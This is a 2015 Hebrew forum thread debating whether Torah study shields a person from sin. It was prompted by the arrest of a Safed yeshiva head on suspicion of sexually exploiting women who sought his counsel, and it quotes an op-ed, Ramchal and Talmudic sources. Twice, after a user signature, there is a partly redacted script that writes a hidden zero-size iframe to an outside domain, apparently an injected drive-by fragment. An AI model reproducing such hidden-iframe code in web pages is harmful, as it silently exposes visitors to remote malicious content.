| נשלח ב-19/7/2015 08:28 |
 |
| |
תורה מגנה ומצילה
זהירות: מדרון חלקלק ונושא רכילאי בחדשות!
רקע: ראש ישיבה (בן ציבור הכיפות הסרוגות) ומקובל נעצר בחשד שניצל פונות לייעוץ (בתחום קשיי ילודה?) ליחסים, אולי ליחסי אישות. הנושא נבדק במשטרה ובבית המשפט בימים בהם נפתח האשכול הזה.
אחד מהר"מים בישיבה פירסם את המאמר הבא, שהועתק לאשכול הכותרות בידי ספרננו.
דעה: נביא השקר מצפת
כן, גם אני הייתי שייך לחבורת השוטים והמטומטמים שהלכו אחרי נביא השקר הזה, כפי שאתם מכנים אותו.  הרב אברהם אנגלר"מ ומשגיח רוחני, ישיבת אורות הארי בצפת כן, מורי ורבותי המוכיחים בשער. כן, גם אני הייתי שייך לחבורת השוטים והמטומטמים שהלכו אחרי נביא השקר הזה, כפי שאתם מכנים אותו. ברשותך קורא יקר, הרשה לי לתאר בפניך את דמותו, הנהגותיו והליכותיו, כפי שנתגלו לעינינו, של נביא השקר הזה. ובסיום אמור נא בגילוי לב, האם היית מוצא נביא אמת כשר יותר מנביא שקר זה. נביא השקר הזה, התייצב בכל בוקר בבית המדרש בשעה 4:00 לפנות בוקר, ולמד בשקידה עצומה עד לתפילת הנץ. לאחר התפילה נשאר ללמוד עוד כשעה ארוכה, ולאיש לא ניתן להפריע לו. נביא השקר הזה, סיים ש"ס בכל שנה – לימוד של כשבע דפים ביום. גם למד תלמוד ירושלמי בחברותא מדי יום. נביא השקר הזה נתן בכל שבוע ששה שעורים בישיבה, ועוד רבים מחוצה לה. נביא השקר הזה, מעולם לא ביטל שעור בישיבה משום סיבה, תמיד דאג להשלימו בזמנים לא זמנים, וכך גם דרש מהרמי"ם. נביא השקר הזה, עמד על כך שחתונות של תלמידים יתקיימו אך ורק בימי חמישי, וברדיוס קרוב לישיבה, לבל יהיה ביטול תורה. מאותה סיבה גם בריתות נערכו רק בהפסקת צהרים או בנץ החמה. הכל כדי לא לבטל תורה. נביא השקר הזה, עשה לפעמים בלילי שישי "משמר" עם התלמידים, כדי שלא יהיה ביטול תורה בימי שישי, כמקובל בישיבות. נביא השקר הזה, מסר נפשו בכל שבת, גם בשבתות חופשיות, לארח תלמידים בביתו לסעודה שלישית ושעור תורה. נביא השקר הזה, הקים רשת של מוסדות תורה, החל מפעוטונים, גני ילדים, ישיבה תיכונית, ישיבה גבוהה, וכולל של כ 60 אברכים עמלי תורה. (מעטות הן ישיבות הציונות הדתית להן מספר אברכים כזה). נביא השקר הזה, לקח בחורים צעירים רחוקים מתורה ומצוות, קרב אותם לתורה, והפך אותם לאברכים שיושבים והוגים בתורה באוכלם פת במלח, גם כשהם בני 35 ואפילו 40. נביא השקר הזה, דירבן רק ללימוד תורה, ודחף אברכים להמשיך עוד ועוד בלימוד, זו הייתה הדרכתו לכל מי שביקש לעזוב את הכולל. אחת הייתה הוראתו: להמשיך ללמוד ולהתעלות, מתוך אהבת תורה ויראת שמים. נביא השקר הזה, הקים קהילה של תורה, שאנשיה עוסקים בגמילות חסד והפצת תורה בכל העיר, ובעזרה למשפחות נזקקות בחלוקת עשרות מנות מזון מדי שבוע לכל נצרך בלי שום השתייכות מיגזרית. נביא השקר הזה, עזר באלפי שקלים לאברכים שלא הסתפקו במילגת הכולל הזעומה שלהם, ועכשיו נשבר מטה לחמם. נביא השקר הזה, מעולם לא כעס!!! והיינו במחיצתו אין סוף שעות. נביא השקר הזה, ענה בכל יום למאות שאלות שהופנו אליו מכל רחבי הארץ, חילונים כדתיים , עניים כשועי עולם. רבים נושעו מעצותיו. ביניהם גם כאלה שעכשיו מעבירים ביקורת על הנהיה אחריו. לא מעט מאלה שהזדרזו לגנות את תופעת הסגידה וכינו אותנו כשוטים, שכחו שבשעת צרה כשנצרכו לאבחון רפואי וכד' מיהרו לשאול בעצתו. כל זאת ראו עיני ולא זר. דווקא אנשי קהילת הקודש שלנו נהו אחרי התורה, העבודה, החסד, והעמל שהוא דרש מעצמו ומתלמידיו. לא קמיעות, לא סגולות, ולא סיפורי מופתים היו אלה שלכדו אותנו, אלא דווקא הקריאה בשם ה', והדרישה לעמל תורה ומצוות. ה"טיפשים" שראו זאת הם רבני הישיבה, תלמידי חכמים בעלי חוש ביקורת נוקב ובעלי עיין חודרת, שבמשך שנים התחקו אחר עקבותיו ולא מצאו בהן מתום, שום סדק, שום רמז, לא אש, לא עשן, ואפילו לא ריח של עשן. בין החכמים האלה היו גם הרה"ג מרדכי אליהו זצ"ל, ובנו הרב שמואל שיבדל לחיים טובים וארוכים. הן בין תבין קורא יקר, עד כמה גדולה תדהמתנו, עד כמה גדול שברנו, עד כמה קשה היה לנו לקבל להבין ולהאמין למשמע אוזנינו, ולהכיל את המעשים הקשים שנפלו כרעם ביום בהיר על ראשינו. דווקא בגלל שלעיננו ניצבה הדמות האולטימטיבית לאיש תורה, ומנהיג קהילה אך ורק בדרכה של תורה. ובאחת נכזבה תוחלתנו כשראינו עד כמה ובאיזה תחכום הצליח לסמא את עיננו. אולי גם תבין עכשיו קורא יקר, על מה ולמה נפלו ברשתו אותן נשים יקרות וצדיקות. לא בגלל האותות והמופתים שעשה, אלא בגלל האיצטלא דרבנן שעטה עליו, והאמינו שכל מעשיו בקדושה ובטהרה לשם שמים. הגע בעצמך אישי היקר, אם היית מתהלך בחוצות ירושלים לצידו של ירמיהו הנביא, והיית פוגש את צדקיה בן כנענה, איזו דמות היתה ניצבת לפניך? לא הצדיק המושלם, המדקדק בקלה כבחמורה, שכל חזותו ואורחותיו רק תורה ודבר ה'? ההיית מצליח להבדיל בין השניים? אולי היית נוהה אחר צדקיה דווקא? אגב, נביא השקר שלנו עמד בכל תבחיני התורה של בדיקת הנביא, לא זו בלבד שמעולם לא אמר לעבור על דברי תורה, אלא תמיד הדריך להדר במצוות והוסיף בתורה ובקדושה. מורי ורבותי כבוד הרבנים המוכיחים בשער, ומבקשים לסגור את קהילתנו הקדושה, לפני שבאתם לחקור ולדרוש מקרוב. לא קיימתם "ארדה נא ואראה", גם לא עשיתם "שמוע בין אחיכם". העדפתם לחרוץ את גורלנו בשבט עטכם ממרומי מושבכם, במרחק מאות קילומטרים כשאתם ניזונים אך ורק מצהובוני התקשורת. אני מזמין אתכם לראות קהילת קודש של אנשים חכמים ונבונים, עמלי תורה יראי שמים המחנכים את ילדיהם על ברכי התורה והקדושה. כולם אנשי חסד בעלי מידות תרומיות, שביקשו רק אחת - שבתי בבית ה' כל ימי חיי. רבים מהם משמשים בקודש ברבנות, בהוראה, ובקירוב ישראל לאביהם שבשמים. אלה לא נהו אחרי רבם בגלל כוחותיו הסגוליים, אלא דווקא בגלל הדרכותיו הנגלות לעמל תורה לדקדוק במצוות ולדיבוק חברים. קהילה זאת זקוקה עכשיו לעידוד, חיזוק ונחמה, ולא להטפת מוסר של חכמים לאחר מעשה. קהילה זאת שהצליחה להשתקם במהירות שלא תיאמן, ישיבה שלא עזב אותה תלמיד למרות המשבר, קהילה שגילתה שמתוך השבר הנורא צמחה דרך חדשה, זכה ונקיה לעבודת ה', בצורה ישירה, אמיתית, וללא כל אמצעים ומתווכים. קהילה שלמדה את ההבדל בין "עשה לך רב", לבין "סגוד לך לרב", היא אכן זכתה ללימוד לזיקוק ולבירור אמיתי. עבודה מתוך חירות ובחירה חופשית, "בלתי אם לה' לבדו". קהילה שצליחה לסלק מעליה את המסכה, את האיש ונשארה דבקה באמת בתורה בעבודה וביראת ה'. במחילת כבודכם הרבנים המוכיחים בשער, את חוליי הדור כולו, דור האינסטנט, אתם חפצים להטיל על קהילתנו. שהרי קיצורי הדרך בעבודת ה', בקשת הסגולות, הקמיעות, ומגידי העתידות היא מגיפת הדור כולו. רבים יציעו לך להגיע לציון מסויים ביום ובשעה מסויימת ובאמירה קלה יזדככו חטאיך, אפילו חי רוטל יכול להציע לך חיי נצח . מי כמוני יודע זאת הלא איש מירון אנכי. אין צורך בעמל, אין צורך ביגיעה, אחרים יעשו לך את העבודה ואת קיצור הדרך. דווקא אנחנו היינו ההיפך מכך. אנחנו העמדנו בראש מעייננו את עמל התורה, את העבודה, את זיכוך המידות, הארת הפנים לכל אורח, הקדושה, והחסד. קהילתנו מודה לכל אותם אלה שבחרו לא לקבול על הרשעה אלא להוסיף חסד. הם באו לעזור לעודד ולנחם. ביניהם רבנים שבאו לתת שיעורי חיזוק, מטפלים ואנשי מקצוע שבאו לתת סיוע נפשי לנשברי לב, ועוד רבים וטובים. וכמובן בראשם הרב הגיבור העז, העשוי ללא חת, הרב שמואל אליהו שליט"א. שנלחם בעוז, עמד כחומה בצורה, וקיים ללא מורא את דברי תורתנו הקדושה "לא תגורו מפני איש", והוקיע את הרע מתוכנו. ובאותה שעה ידע להיות, כעדינו העצני, רגיש לכל פניה של כל אישה פגועה, ולטפל באהבה, ברגישות, ובסבלנות ללא הגבלת זמן, ביום ובלילה, לכל פניה של כל אחד מהתלמידים ומאנשי הקהילה. אכן, בבקרים האחרונים אני מברך אחרת ברכת "פוקח עורים", ומודה לה' שפקח את עיני ועיני כל ישראל, ללמוד את הדרך האמיתית והנכונה של עבודת ה' מתוך עמל ויגיעה, בחינה חקירה והשגה עצמית, יחד עם אמונת חכמים, בבחינה, בבדיקת אמת, ללא סגידה עיוורת, אלא בשימוש בכת התבונה והביקורת שחנן אותנו הבורא. כבוד הרבנים בואו תחזקו, תמצאו קהילה חזקה מאוחדת עובדת ה' באמת, ועם מעט ענווה אומר שנראה לי שאתם תתחזקו בעצמכם.
ערוץ 7
 |
|
|
|
|
| נשלח ב-19/7/2015 08:32 |
|
| |
השאלה היא: אם מדובר במה שמכונה "אדם גדול" אז איך הוא נכשל? מדוע התורה שלו לא הגנה עליו מחטא ועוד מחטאים שכאלו.
אפרים בן כתב:
העיוור הזה משתפך ובוכה כאילו פעם ראשונה הוא צפה במחזה הנדיר שהתורה אינה מגנה ומצלה.תמים אומלל לא פחות מהנשים העיוורות שחונכו להידבק ברבנים גם אם יגידו על ימין שהוא שמאל.
פרוגרמי ענה:
הנושא אינו תורה מגנא ומצלא, הרב אנגל לא בא לומר שלשיינברגר יש הרבה קילו תורה, אלא שהוא היה באמת אדם רוחני ושאף להתעלות רוחנית, מה שלא מתאים לאדם צבוע, ואנשים יכולים להרגיש בצביעות. ואעפ"כ היה בו גם חלק שפל, והמורכבות הזו הצליחה להטעות את האנשים הכי קרובים אליו.
אריאל73 העיר:
באמת עצוב. השאלה היא האם הוא היה באמת אדם מרומם או שהכל תערובת של סיפורי גדיילים ופוזות שלו. (כמובן שאין לי יכולת להכריע ולהם יש יותר מידע ממני)
נ.ב. אם היית הולך עם ירמיהו ופוגש את צדקיה בן כנענה היית נמלא תדהמה מהופעתו 250 שנה אחרי מותו..
ירוחמשמ הזכיר:
התורה לא מגנא ומצלא! נפילות כאלה ביו יש ויהיו. האדם נשאר אדם עם כל יצריו. אני בטיח שהרב לא היה צבוע!( אלא אם יתברר שהוא הטיף לצניעות המזויפת המקובלת היום)
הסיפורים שהגמרא טורחת לספר לנו בקידושין ובמקומות אחרים. נותנת לנו לדעת ולהבין. כי היצר המיני חזק יותר מהכל.
טוב שהדבר התגלה, וכואב הלב על המקרים הרבים, שידועים ומוסתרים. ובעיקר על הרבים שלא ידועים.
אפריםבן שאל את שאלת האשכול:
אם התורה לא מגנא ומצלא אז לשם מה היא ניתנה?
פותח האשכול הנוכחי ומרכזו מעיר:
האם "מגינה ומצילה" פירושו שלומד התורה לעולם לא יחטא?
יש לזכור גם שיש סוגיות בגמרא ובראשונים הבודקות את הנושא הזה (ומסקנתן שבדבר הנתון לבחירה ולזהירות של האדם אין סייעתא דשמיא להינצל). ויש להעתיק לקמן.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-19/7/2015 08:33 |
|
| |
ספרן הביא מדברי הרמח"ל מאתר דעת:
דרך ה'רבי משה חיים לוצאטו חלק רביעי 
התוכן:
השפעת לימוד התורה
דרגות בהשפעת הלימוד
יש לעסוק בכל חלקי התורה
תנאי התלמוד
(א) לימוד התורה
(ב) תיקון המעשה
התוצאה לפי ההכנה |
 א. הנה תלמוד התורה הוא עניין מוכרח, לפי שזולתו אי אפשר להגיע אל המעשה , כי אם לא ידע מה הוא מצווה שיעשה, איך יעשהו? אמנם זולת כל זה יש בתלמוד תכלית גדול לשלמותו של האדם, וכבר הזכרנו העניין בקצרה בחלק א' פרק ד', אמנם עתה נאריך בו יותר. ב. בכלל ההשפעות הנשפעות ממנו יתברך לצורך בריותיו, יש השפעה אחת עליונה מכל ההשפעות, שעניינה הוא היותר יקר ומעולה שבכל מה שאפשר שימצא בנמצאים. והיינו שהוא תכלית מה שאפשר שימצא בנמצאות מעין המציאות האמיתי שלו יתברך, ויקר ומעלה מעין אמיתת מעלתו יתברך. והוא הוא מה שמחלק האדון יתברך שמו מכבודו ויקרו אל ברואיו.
ואמנם קשר הבורא יתברך את השפעתו זאת, בעניין נברא ממנו יתברך לתכלית זה, והוא התורה. ועניין זה משתלם בשתי בחינות: בהגיון ובהשכלה. וזה מה שביארנו שם, כי הנה חיבר האדון, ברוך הוא, כלל מילות ומאמרים, שהם כלל חמשה חומשי תורה, ואחריהם במדרגה נביאים וכתובים, וקשר בהם ההשפעה הזאת, באופן שכשידוברו הדיבורים ההם, תימשך ההשפעה הזאת למדבר אותם. ובתנאי שיהיה ההיגיון הזה בגבולים שהוגבלו לו, וכמו שכתבתי לפנים בסייעתא דשמיא. וכן בהשכלת מה שנכלל בדיבורים ההם לפי דרכיהם האמיתיים, תמשך ההשפעה הזאת למשכיל אותם. ואמנם מדרגות מדרגות יש בהשפעה הזאת, ככל שאר ההשפעות והעניינים שבמציאות. ונתחלקו המדרגות האלה בחלקי ההגיון וההשכלה, כפי מה שראתה החכמה העליונה היותו נאות, שבחלק אחד מההיגיון תימשך מדרגה אחת מן ההשפעה, ובחלק אחר מדרגה אחרת. וכן בהשכלה. אך אין לך חלק מתלמוד התורה שלא תמשך בו מדרגה אחת ממדרגות ההשפעה הרמה הזאת, אם ישמרו בו התנאים המצטרכים. ג. והנה זה פשוט, שכל מה שתתעלה ההשכלה, תגדל יותר מדרגת ההשפעה שתימשך על ידה.<* style="color: #0077ff; font-family: Arial, Helvetica, sans-serif; font-size: medium; line-height: 20.8000011444092px; text-align: -webkit-right; background-color: #ffffff;">ולא ישווה מי שישכיל לשון המקראות לבד, עם מי שישכיל כוונתם. ולא מי שישכיל הכוונה השטחיית שבהם, עם מי שיעמיק בה יותר. ולא מי שהעמיק בה קצת, עם מי שיעמיק בה הרבה. אמנם היה מחסדו יתברך, שבכל חלק מן ההשכלה תימשך מדרגה מן ההשפעה, עד שכל מי שהשכיל בה ירוויח מן ההשפעה הגדולה הזאת מה שנקשר בהשכלה ההיא. ומי שלא הגיע לשום השכלה אלא להגיון לבד, כבר יהיה אמצעי לו לשיחולק גם לו קצת מן ההשפעה הזאת, ונמצא רובן של ישראל זוכים לה, מי מעט ומי יותר. ד. ואמנם זולת זאת ההדרגה הנמצאת לגמול השתדלות בני האדם בה כשיעורו האמיתי, עוד נמצא בה הדרגה וחילוק לפי מה שצריך לתקן בה כלל הבריאה, עד שאין חלק ממנה שלא יתוקן על ידו ויושלם חלק מחלקי כלל הבריאה. ונמצא שהרוצה לעבוד לפני בוראו עבודה שלימה, צריך שיעסוק בכל חלקיה כפי יכולתו, כדי שיגיע ממנו התיקון אל חלקי הבריאה כולה. ועל הדרך הזה אמרו ז"ל "לעולם ישלש אדם ימיו: שליש במקרא שליש במשנה שליש בגמרא". ובכלל זה, כל חלקי התורה, שיחלק בהם זמנו עד שיאחוז בכולם ולא יניח ידו מאחד מהם. אך שיעור העסק שיעסוק בכל אחד מהם, ראוי שיסדר לפי מה שהוא האדם, ולפי כל המקרים הקורים אותו. וכבר דברנו מזה במאמר בפני עצמו, עיין שם. <* style="color: #0077ff; font-family: Arial, Helvetica, sans-serif; font-size: medium; line-height: 20.8000011444092px; text-align: -webkit-right; background-color: #ffffff;">ה. אך התנאים הצריכים להתלוות לתלמוד הנה הם: היראה בתלמוד עצמו, ותיקון המעשה בכל עת. וזה, כי הנה כל כוחה של התורה אינו אלא במה שקשר ותלה יתברך שמו את השפעתו היקרה בה, עד שעל ידי הדיבור בה וההשכלה תימשך ההשפעה הגדולה ההיא. אך זולת זה לא היה הדיבור בה אלא כדיבור בשאר העסקים או ספרי החכמות; וההשכלה ככל שאר מושכלות המציאות הטבעי למיניהם, שאין בם אלא ידיעת העניין ההוא, ואין מגיע ממנו התעצמות יקר ומעלה כלל בנפש הקורא המדבר והמשכיל, ולא תיקון לכלל הבריאה.
ואמנם ההשפעה הזאת הנה עניינה אלוהי כמו שכתבתי, ולא עוד אלא שהוא היותר עליון ונשגב שבעניינים הנמשכים ומגיעים ממנו יתברך אל הברואים. וכיוון שכן ודאי שיש לו לאדם לירוא ולרעוד בעסקו בעניין כזה, שנמצא הוא ניגש לפני אלוהיו ומתעסק בהמשכת האור הגדול ממנו אליו. והנה צריך שייבוש משפלותו האנושי, וירעש מרוממותו יתברך. והנה יגל מאוד מחלקו הטוב שזכה לזה, אך ברעדה כמו שכתבתי. ונכלל בזה, שלא ישב בקלות ראש, ולא ינהג שום מנהג בזיון, לא בדבריה ולא בספריה, וידע לפני מי עומד ומתעסק.
ואם הוא עושה כן, אז יהיה תלמודו מה שראוי לו להיות באמת, ותימשך על ידו ההשפעה שזכרנו, ויתעצם בו היקר האלוהי, וימשך תיקון והארה לכל הבריאה. אבל אם תנאי זה יחסר ממנו, לא תמשך ההארה על ידו, ולא יהיו דבריו אלא כשאר כל הדיבורים האנושיים: הגיונו כקורא איגרת, ומחשבותיו כחושב בדברי העולם. ואדרבא, לאשמה תחשב לו, שקרב אל הקודש בלי מורא, ומקל ראשו לפני בוראו, עודו מדבר לפניו ומתעסק בקדושתו יתברך. ואולם כפי מדרגת המורא ושיעור הכבוד והזהירות בו, כן יהיה שיעור יקר הלימוד ומדרגת ההשפעה הנמשכת על ידו, וכמו שכתבתי למעלה. ו. והתנאי השני הוא תיקון המעשה. כי הנה מי שירצה להמשיך השפעה, ראוי שיהיה הוא הגון ומוכן להמשיכה. אכן אם הוא מטמא את עצמו באשמות ופשעים, ומרחיק עצמו מבוראו, וזונה מאחריו אחרי כוחות הטומאה והרע, ודאי שיאמר בו: "ולרשע אמר אלוהים מה לך לספר חוקי" וכו'. וכן אמרו ז"ל "כל המלמד לתלמיד שאינו הגון כאלו זורק אבן למרקוליס". והנה איש כזה, ודאי שתורתו לא תמשיך מן ההשפעה שזכרנו שום מדרגה כלל. ואעפ"כ רז גדול גילו לנו החכמים ז"ל, שאילו לא היו הרשעים עוזבים את תלמוד התורה, סוף שהיו חוזרים למוטב. כי אף על פי שאין בכוחם להמשיך שום המשך מלפניו יתברך כמו שכתבתי, כבר דברי התורה בעצמם מקודשים ועומדים מצד עצמם, עד שבהתמיד העסק בהם יגיע מהם פעם אחר פעם קצת התעוררות, וכמו דמות הארה קטנה שבקטנות, אל העוסק בם, שסוף סוף תגבר עליו ותחזירהו למוטב. והוא מה שכתבו ז"ל: "הלואי אותי עזבו ותורתי שמרו, שהמאור שבה מחזירן למוטב" (מדרש איכא פתיחתא ב).
ואמנם פשוט הוא שאין הדברים אמורים במי שיתעסק בה דרך שחוק והיתול, או לגלות בה פנים שלא כהלכה, אלא שיתעסק בה לפחות כמי שמתעסק בשאר החכמות. ז. ואולם מי שמטהר ומקודש עצמו במעשיו, הוא ימשיך בתלמודו השפעה כשיעור ההכנה שהכין את עצמו, וכשיעור שירבה בהכנה כן ירבה יקר התלמוד וכוחו. והוא מה שמצינו בחכמים הקדמונים, שתורתם הייתה מעטירתם כוח גדול ונותנת להם מעלה ויקר, מה שלא נמצא בדורות האחרונים, מפני יתרון הכנתם על הכנת האחרונים. וכבר אמרו על יונתן בן עוזיאל, שבשעה שהיה עוסק בתורה כל עוף שהיה פורח עליו היה נשרף, מפני עוצם השראת השכינה שהייתה שורה עליו על ידי לימודו.
|
|
|
|
|
| נשלח ב-19/7/2015 08:35 |
|
| |
פרוגרמי כתב בתשובה לשאלת היסוד של האשכול, תורה לשם מה:
הצעה אפשרית: כדי לקיים אותה.
ואני מעיר: לדעתי אין זו תשובה אלא מעגליות. אפשר להבין את דבריו בשני אופנים.
א. אין לתורה מטרה מעבר לעצמה.
זו גישה שמוכרת לנו, למשל, גם אצל ישעיהו לייבוביץ. התורה לא ניתנה כדי להשיג מטרות אלא כדי שהיא תקויים. אין מה לשאול "למה".
זו גישה אחת מבין הגישות לתורה ולמצוות. ובוודאי שיש הוגי דעות שסברו לגמרי אחרת. בין אם נאמר שהתורה מיועדת לחינוך האדם (רמב"ם אבל לא רק) ובין אם נאמר שהתורה מיועדת לתיקון עולמות עליונים (קבלה).
ב. זו תזכורת שהתורה ניתנה על מנת לקיים אבל השאלה לשם מה ניתנה עדיין פתוחה. ואם כן השאלה במקומה עומדת.
איני יודע לאיזה מפירושים אלו התכוון פרוגרמי אבל לפי הפירוש השני זו תזכורת רבת חשיבות אבל לא מועילה לבירור הנושא, בעוד שהתשובה הראשונה עשויה לענות על התמיהה (התורה לא מבטיחה סייעתא דשמיא = עזרה מגבוה - כדי להינצל מהחטא), אבל דומה שהיא מאד מצמצמת את תפיסת התורה והמצוות לגישה אחת בלבד, שגם עליה אפשר להקשות מן התורה עצמה. ויש להרחיב.
___סליחה, עקב טרדות הניהול, כלומר אירגון האשכול, שכחתי להשלים והשלמתי בסוף______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 19/07/2015 08:43:42
|
|
|
|
|
| נשלח ב-19/7/2015 08:36 |
|
| |
ירוחמשמ העיר:
היא ניתנה כספר חוקים. לעם ישראל. מה הקשר? התורה מבטיחה כי קיום המצוות שלה. מצילה ומגינה. אבל לימוד התורה בלבד?
אני מוסיף:
הרב העצור לא רק למד ולימד אלא גם הפליא לעשות חסדים ובדקדוק מצוות, לפי תיאורו של תלמידו שהובא לעיל.
תוקן על ידי מיימוני ב- 19/07/2015 08:44:55
|
|
|
|
| נשלח ב-19/7/2015 09:02 |
|
| |
תלמוד בבלי מסכת חגיגה דף טו עמוד ב
אשכחיה שמואל לרב יהודה דתלי בעיברא דדשא וקא בכי אמר ליה שיננא מאי קא בכית אמר ליה מי זוטרא מאי דכתיב בהו ברבנן איה ספר איה שקל איה ספר את המגדלים איה סופר שהיו סופרים כל אותיות שבתורה איה שוקל שהיו שוקלים קלין וחמורין שבתורה איה סופר את המגדלים שהיו שונין שלש מאות הלכות במגדל הפורח באויר ואמר רבי אמי תלת מאה בעיי בעו דואג ואחיתופל במגדל הפורח באויר ותנן שלשה מלכים וארבעה הדיוטות אין להם חלק לעולם הבא אנן מה תהוי עלן אמר ליה שיננא טינא היתה בלבם אחר מאי זמר יווני לא פסק מפומיה אמרו עליו על אחר בשעה שהיה עומד מבית המדרש הרבה ספרי מינין נושרין מחיקו שאל נימוס הגרדי את רבי מאיר כל עמר דנחית ליורה סליק אמר ליה כל מאן דהוה נקי אגב אימיה סליק כל דלא הוה נקי אגב אימיה לא סליק רש"י מסכת חגיגה דף טו עמוד ב
ותלי בעיברא דדשא - נשען על הבריח.
ברבנן - בתלמידים היוצאין לתרבות רעה. שוקלין - לדרוש קל מחמור וחמור מקל, לפי המשקולת של קל וחומר. במגדל הפורח באויר - יש מפרשים: שדורשין גובהו של למ"ד ודורשין בו כל זאת, ויש אומרים: מגדל דור הפלגה, ולי נראה: מגדל הפתוח לאויר גרסינן, והן מהלכות אהלות, מגדל של עץ, שקורין משטיי"ר +ארון+, ועומד בפתח ופתחו פתוח לבקעה או לחצר שהוא אויר, במסכת אהלות (פרק רביעי משנה א) ישנה משנה: מגדל העומד באויר. ארבעה הדיוטות - בלעם ודואג ואחיתופל וגחזי, בפרק חלק. טינא היתה בלבם - רשעים היו מימיהם. אחר מאי - מפני מה בא לידי כך, ולא הגינה תורתו עליו? זמר יווני לא פסק מביתו - והיה לו להניח בשביל חורבן הבית, דכתיב בשיר לא ישתו יין (ישעיהו כד). נושרין מחיקו - קודם שהפקיר עצמו לתרבות רעה, אלמא: טינא הוות בלבו. כל עמר דנחית ליורה סליק - כל צמר שניתן ליורה של סממנין לצבוע עולה לו צבעו, או אינו עולה, כלומר: כל הלומדים לפני חכמים, עולה להן תורתן להגין עליהן מן החטא? כל דנקי אגב אימיה - שלא נתלכלך בגיזה - עולה לו צבעו, כלומר, כל שיראת חטאו קודמת לחכמתו - עולה לו, כן נראה בעיני, ורבותי מפרשין: כל עמר דנחית ליורה סליק - כל שירד לידון בגיהנם עולה, אגב אמו - צמר בן יומו שלא נרמס בטיט עולה לו הצבע, כלומר: שיש זכיות בידו עולה.
|
|
|
|
|
| נשלח ב-19/7/2015 10:09 |
|
| |
| מיימוני כתב: |  | פרוגרמי כתב בתשובה לשאלת היסוד של האשכול, תורה לשם מה:
הצעה אפשרית: כדי לקיים אותה.
ואני מעיר: לדעתי אין זו תשובה אלא מעגליות. אפשר להבין את דבריו בשני אופנים.
א. אין לתורה מטרה מעבר לעצמה.
זו גישה שמוכרת לנו, למשל, גם אצל ישעיהו לייבוביץ. התורה לא ניתנה כדי להשיג מטרות אלא כדי שהיא תקויים. אין מה לשאול "למה".
זו גישה אחת מבין הגישות לתורה ולמצוות. ובוודאי שיש הוגי דעות שסברו לגמרי אחרת. בין אם נאמר שהתורה מיועדת לחינוך האדם (רמב"ם אבל לא רק) ובין אם נאמר שהתורה מיועדת לתיקון עולמות עליונים (קבלה).
ב. זו תזכורת שהתורה ניתנה על מנת לקיים אבל השאלה לשם מה ניתנה עדיין פתוחה. ואם כן השאלה במקומה עומדת.
איני יודע לאיזה מפירושים אלו התכוון פרוגרמי אבל לפי הפירוש השני זו תזכורת רבת חשיבות אבל לא מועילה לבירור הנושא, בעוד שהתשובה הראשונה עשויה לענות על התמיהה (התורה לא מבטיחה סייעתא דשמיא = עזרה מגבוה - כדי להינצל מהחטא), אבל דומה שהיא מאד מצמצמת את תפיסת התורה והמצוות לגישה אחת בלבד, שגם עליה אפשר להקשות מן התורה עצמה. ויש להרחיב.
___סליחה, עקב טרדות הניהול, כלומר אירגון האשכול, שכחתי להשלים והשלמתי בסוף______________ שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 19/07/2015 08:43:42 |
|
התורה ניתנה לנו בשביל שיהיה לנו טוב. אם לא טוב לנו עם התורה זה לא תורה.
"שְׁמֹר וְשָׁמַעְתָּ אֵת כָּל הַדְּבָרִים הָאֵלֶּה אֲשֶׁר אָנֹכִי מְצַוֶּךָּ לְמַעַן יִיטַב לְךָ וּלְבָנֶיךָ אַחֲרֶיךָ עַד עוֹלָם כִּי תַעֲשֶׂה הַטּוֹב וְהַיָּשָׁר בְּעֵינֵי יְהוָה אֱלֹהֶיךָ."
|
|
|
|
| נשלח ב-19/7/2015 10:45 |
|
| |
שלישי
למה לא טוב לנו עם התורה? טוב לנו. יש נכשלים בעבירות אלו ואחרות. אז זה לא אומר שלא טוב עם התורה.
יש אנשים שטוב להם עם התורה וגם עם עבירות, ככתוב: אחוז בזה וגם מזה על תנח ידך. לשיטתך אם אדם לומד תורה , הוא לא צריך להזהר מלעבור עבירות?
למען יטב לך?- אם תקיים אותה! ואפילו עם אם פה ושם לא בדיוק תקיים.
|
|
|
|
| נשלח ב-19/7/2015 10:50 |
|
| |
ירוחם,
הבנת אותי הפוך ממה שהתכוונתי...ואני חושב כמוך.
תוקן על ידי שלישישי ב- 19/07/2015 10:51:24
|
|
|
|
| נשלח ב-19/7/2015 11:33 |
|
| |
הרב שלום ארוש הודיע לחסידיו: "אני מפסיק לקבל נשים"ראש ישיבת 'חוט של חסד' הרה"צ רבי שלום ארוש, מחשובי רבני ברסלב, הודיע כי הוא מפסיק לקבל נשים במסגרת קבלת הקהל והסביר כי "יצר הרע של הרבנים הוא גדול משאר בני האדם" (חרדים)| ג' באב תשעה 10:49 19.07.15  רבי שלום ארוש. ארכיון (צילום: משה בן נאים - חדשות 24) פרסום ראשון: בעקבות הפרשה החמורה שנחשפה בחודש האחרון בעיר צפת, הודיע אחד מחשובי מנהיגי חסידות 'ברסלב', ראש ישיבת 'חוט של חסד' הרה"צ רבי שלום ארוש כי הוא מפסיק לקבל נשים במסגרת שעות קבלת הקהל. ל"כיכר השבת" נודע כי עם התפוצצות הפרשה החמורה בצפת, הודיע הרב ארוש לחסידיו ולתלמידיו כי הוא קיבל החלטה שמעתה והלאה לא תתאפשר אצלו קבלת קהל לנשות הקהילה. הרב הסביר לתלמידים את החלטתו ואמר כי "יצר הרע של הרבנים הוא גדול משאר בני האדם", ולכן אסור לרבנים לקבל נשים להתייעצות במסגרת קבלת הקהל. במסגרת ההוראה החדשה, הועברה הודעה לחברי הקהילה גם באמצעות הודעות ומסר ב'עלון' של הקהילה, וכך גם הכריז הרב במהלך שיעוריו בישיבת 'חוט של חסד'. הגר"ש ארוש קבע כי גם במצב שהבעל מגיע להתייעצות לצד האישה הוא אינו מוכן לקבלה ולכן מעתה ואילך נשות הקהילה שירצו להתייעץ עם הרב, הדבר יעשה אך ורק באמצעות פתק שישלחו דרך הבעל. מצאתי טעות בכתבה*************** frameborder="0" hspace="0" marginheight="0" marginwidth="0" scrolling="no" tabindex="0" vspace="0" width="100%" 